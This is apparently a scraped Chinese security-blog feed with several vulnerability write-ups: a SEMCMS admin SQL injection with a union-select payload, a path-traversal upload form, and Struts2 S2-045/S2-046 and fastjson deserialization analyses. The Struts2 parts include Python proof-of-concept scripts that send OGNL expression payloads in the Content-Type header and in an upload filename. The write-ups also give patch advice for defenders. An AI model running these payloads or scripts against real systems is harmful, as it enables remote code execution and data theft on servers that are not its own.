Content-Disposition: form-data; name="imageurl"

../
------WebKitFormBoundarypBqXrzJtqlyx3NBh
Content-Disposition: form-data; name="filed"

web_logo
------WebKitFormBoundarypBqXrzJtqlyx3NBh
Content-Disposition: form-data; name="filedname"

form
------WebKitFormBoundarypBqXrzJtqlyx3NBh
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundarypBqXrzJtqlyx3NBh--


5.后台sql注入。
比较多,

列举一个灰常典型的
xxxx_Admin/SEMCMS_Banner.php

<?php 
 $sql=mysql_query("select * from sc_banner where languageID=".$_GET["lgid"]."");     
 $all_num=mysql_num_rows($sql); //总条数
 $page_num=10; //每页条数
 $page_all_num = ceil($all_num/$page_num); //总页数
 $page=empty($_GET['page'])?1:$_GET['page']; //当前页数
 $page=(int)$page; //安全强制转换
 $limit_st = ($page-1)*$page_num; //起始数
    $sql="select  * from  sc_banner where languageID=".$_GET['lgid']." order by ID desc  limit $limit_st,$page_num ";
    $query=mysql_query($sql);
    Panduans(mysql_num_rows($query));

对GET参数没有处理.直接注入

select  * from  sc_banner where languageID=1 and 1=1 union select 1,2,concat(user(),0xa3a,version()),4,5,6,7# order by ID desc  limit 0,10

Struts2远程命令执行漏洞 S2-045

$
0
0

漏洞简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

Struts2框架存在多个远程代码执行(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利用漏洞直接获取应用系统的Webshell,甚至获取操作系统以及数据库的权限。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

漏洞分析

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

漏洞关键点:
1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值
通过版本比对定位漏洞原因:
1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java

三个文件修改内容相同,加固方式对用户报错加了条件判断。

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
         } else {
            return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
         }

漏洞利用

附上一个检测的脚本

#!/usr/bin/env python
#coding:utf8
#code by fuck@0day5.com
import sys
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url):
    result = False
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
        'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"
    }
    try:
        response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)
        if response.content.find("88866777")!=-1:
            result = url+" find struts2-45"
    except Exception as e:
        print str(e)
        pass
    return result

if __name__ == '__main__':
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
        sys.exit(0)
    else:
        print ("usage: %s http://www.baidu.com/vuln.action" % sys.argv[0])
        sys.exit(-1)

该图是网上利用脚本的截图.并非是检测脚本的截图

漏洞影响范围:

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞修复建议(或缓解措施):

检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,
更行至Strusts2.3.32或者Strusts2.5.10.1,或使用第三方的防护设备进行防护。
临时解决方案:删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。

fastjson 远程代码执行漏洞分析

$
0
0

form:http://javaweb.org/?p=1855

最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29或者更新版本。

官方公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315

这个可能存在的远程代码执行漏洞产生的原因是fastjson反序列化json字符串为java对象的时候autoType没有正确的检测处理。

参照:https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5

触发漏洞需要构造一个特殊的json对象,这种应用场景多出现在C/S接口交互。公告中说道:"安全升级包禁用了部分autotype的功能,也就是"@type"这种指定类型的功能会被限制在一定范围内使用。"

当反序列化一个特殊的json字符串为java对象时可以实例化”任意“(有几个类如Thread在黑名单除外)的java对象并调用部分的java方法。

比如序列号如下json字符串(键包含了"@type" JsonTypeInfo类中的注解)时,fastjson会创建一个java对象实例:

String json = "{\"@type\":\"java.lang.Runtime\"}";
Object obj = JSON.parseObject(json, Object.class);
System.out.println(obj);

执行上面的代码会发现输出了:java.lang.Runtime@194e4c9a,不过并不是就可以执行任意的代码了,因为得找一个触发点给方法传参。查了下fastjson的代码,发现可以直接在后面@type后面写方法名称和参数

String json = "{\"@type\":\"org.javaweb.test.controller.Test\",\"cmd\":{\"@type\":\"java.lang.Runtime\"}}";

比如Test类有个setCmd方法可以传入自定义参数。但是JavaBeanInfo在反序列化操作的时候限定了很多条件,比如不能是静态方法、而且必须是setXXX方法,不过static类的成员变量可以直接修改值。

目前看起来虽然可以通过@type创建一些特殊的对象并调用一些方法但是想调用到任意的方法还没能找到方法,先记录着。

修复方法:
1、升级fastjson版本(注意可能有兼容问题,参见:https://github.com/alibaba/fastjson/wiki/incompatible_change_list)
2、全局过滤"@type"关键字

S2-046漏洞调试及初步分析

$
0
0

免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负

0x00 漏洞介绍

S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

Content-Length 的长度值超长
Content-Disposition的filename存在空字节

0x01 漏洞分析
Content-Length 的长度值超长
这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

private void processUpload(HttpServletRequest request, String saveDir)
        throws Exception {
    // Sanity check that the request is a multi-part/form-data request.
    if (ServletFileUpload.isMultipartContent(request)) {
        // Sanity check on request size.
        boolean requestSizePermitted = isRequestSizePermitted(request);
        // Interface with Commons FileUpload API
        // Using the Streaming API
        ServletFileUpload servletFileUpload = new ServletFileUpload();
        FileItemIterator i = servletFileUpload.getItemIterator(request);
        // Iterate the file items
        while (i.hasNext()) {
            try {
                FileItemStream itemStream = i.next();
                // If the file item stream is a form field, delegate to the
                // field item stream handler
                if (itemStream.isFormField()) {
                    processFileItemStreamAsFormField(itemStream);
                }
                // Delegate the file item stream for a file field to the
                // file item stream handler, but delegation is skipped
                // if the requestSizePermitted check failed based on the
                // complete content-size of the request.
                else {
                    // prevent processing file field item if request size not allowed.
                    // also warn user in the logs.
                    if (!requestSizePermitted) {
                        addFileSkippedError(itemStream.getName(), request);
                        LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                        continue;
                    }
                    processFileItemStreamAsFileField(itemStream, saveDir);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

触发点在

LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);

之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName

private void addFileSkippedError(String fileName, HttpServletRequest request) {
    String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
    FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
    String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
    if (!errors.contains(message))
        errors.add(message);
}

Content-Disposition的filename存在空字节

第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。

public static String checkFileName(String fileName) {
    if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
        // pFileName.replace("\u0000", "\\0")
        final StringBuilder sb = new StringBuilder();
        for (int i = 0;  i < fileName.length();  i++) {
            char c = fileName.charAt(i);
            switch (c) {
                case 0:
                    sb.append("\\0");
                    break;
                default:
                    sb.append(c);
                    break;
            }
        }
        throw new InvalidFileNameException(fileName,
                "Invalid file name: " + sb);
    }
    return fileName;
}

最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage

public void parse(HttpServletRequest request, String saveDir)
        throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (Exception e) {
        e.printStackTrace();
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage))
            errors.add(errorMessage);
    }
}

0x02 规则添加注意点

由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。
多个空格
多个空格,且里面可以添加rn
n个空格

0b不可当成检测字符,0b可以被替换成0000,0a - 0z 等等。

0x03 测试脚本

#!/usr/bin/env python
# coding:utf-8
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url):
    checkcode = False
    boundary="---------------------------735323031399963166993862150"
    paylaod="%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-check-7088','0day5')}}'"
    headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
    data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
    try:
        response = requests.post(url, headers=headers,data=data,verify=False)
        if "vuln-check-7088" in response.headers:
            checkcode = url+" find struts2-46"
    except Exception as e:
        print str(e)
        return checkcode
    return checkcode

if __name__ == '__main__':
    import sys
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
    else:
        print ("usage: %s http://0day5.com/vuln.action % sys.argv[0])
        sys.exit(-1)

0x04 防护建议

1.严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)
3.使用pell、cos等其它multipart解析器
4.弃坑,使用SpringMV

from:http://bobao.360.cn/learning/detail/3639.html

Viewing all 77 articles
Browse latest View live